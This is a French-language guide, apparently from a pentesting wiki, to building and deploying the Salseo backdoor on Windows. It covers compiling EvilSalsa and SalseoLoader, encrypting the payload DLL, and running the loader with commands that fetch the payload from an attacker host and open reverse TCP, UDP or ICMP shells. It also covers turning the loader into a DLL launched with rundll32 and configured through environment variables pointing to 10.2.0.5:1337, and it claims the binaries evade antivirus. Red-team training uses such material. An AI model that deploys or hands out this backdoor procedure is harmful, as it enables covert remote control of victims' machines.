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# Salseo
<details>
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</details>
## Compilation des binaires
Téléchargez le code source depuis GitHub et compilez **EvilSalsa** et **SalseoLoader**. Vous aurez besoin de **Visual Studio** installé pour compiler le code.
Compilez ces projets pour l'architecture de la machine Windows où vous allez les utiliser (si Windows prend en charge x64, compilez-les pour cette architecture).
Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'onglet **"Build"** à **"Platform Target".**
(\*\*Si vous ne trouvez pas ces options, cliquez sur **"Project Tab"** puis sur **"\<Nom du projet> Properties"**)
![](<../.gitbook/assets/image (836).png>)
Ensuite, compilez les deux projets (Build -> Build Solution) (À l'intérieur des journaux, le chemin de l'exécutable apparaîtra) :
![](<../.gitbook/assets/image (378).png>)
## Préparer la porte dérobée
Tout d'abord, vous devrez encoder le **EvilSalsa.dll**. Pour ce faire, vous pouvez utiliser le script Python **encrypterassembly.py** ou vous pouvez compiler le projet **EncrypterAssembly** :
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, maintenant vous avez tout ce dont vous avez besoin pour exécuter tout le truc Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.**
**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne devraient pas être détectés par un quelconque AV...**
## **Exécuter la porte dérobée**
### **Obtenir un shell TCP inversé (téléchargement du dll encodé via HTTP)**
N'oubliez pas de démarrer un nc en tant qu'auditeur de shell inversé et un serveur HTTP pour servir le evilsalsa encodé.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Obtenir un shell inversé UDP (téléchargement d'un dll encodé via SMB)**
N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inversé, et un serveur SMB pour servir le evilsalsa encodé (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Obtenir un shell inverse ICMP (dll encodée déjà présente sur la victime)**
**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inverse. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Désactiver les réponses ICMP :**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Exécutez le client :
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### À l'intérieur de la victime, exécutons la chose salseo :
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Compilation de SalseoLoader en tant que DLL exportant la fonction principale
Ouvrez le projet SalseoLoader en utilisant Visual Studio.
### Ajoutez avant la fonction principale: \[DllExport]
![](<../.gitbook/assets/image (405).png>)
### Installez DllExport pour ce projet
#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...**
![](<../.gitbook/assets/image (878).png>)
#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
![](<../.gitbook/assets/image (97).png>)
Dans le dossier de votre projet sont apparus les fichiers: **DllExport.bat** et **DllExport\_Configure.bat**
### **Désinstaller DllExport**
Appuyez sur **Désinstaller** (oui, c'est bizarre mais faites-moi confiance, c'est nécessaire)
![](<../.gitbook/assets/image (94).png>)
### **Quittez Visual Studio et exécutez DllExport\_configure**
Simplement **quittez** Visual Studio
Ensuite, allez dans votre **dossier SalseoLoader** et **exécutez DllExport\_Configure.bat**
Sélectionnez **x64** (si vous allez l'utiliser dans une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace pour DllExport**) et appuyez sur **Appliquer**
![](<../.gitbook/assets/image (879).png>)
### **Ouvrez à nouveau le projet avec Visual Studio**
**\[DllExport]** ne devrait plus être marqué comme une erreur
![](<../.gitbook/assets/image (667).png>)
### Compilez la solution
Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Propriétés de SalseoLoader --> Application --> Type de sortie = Bibliothèque de classes)
![](<../.gitbook/assets/image (844).png>)
Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Générer --> Cible de la plateforme = x64)
![](<../.gitbook/assets/image (282).png>)
Pour **compiler** la solution: Build --> Compiler la solution (À l'intérieur de la console de sortie, le chemin de la nouvelle DLL apparaîtra)
### Testez la DLL générée
Copiez et collez la DLL où vous souhaitez la tester.
Exécutez:
```
rundll32.exe SalseoLoader.dll,main
```
Si aucune erreur n'apparaît, vous avez probablement une DLL fonctionnelle !!
## Obtenir un shell en utilisant la DLL
N'oubliez pas d'utiliser un **serveur HTTP** et de définir un **écouteur nc**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
<details>
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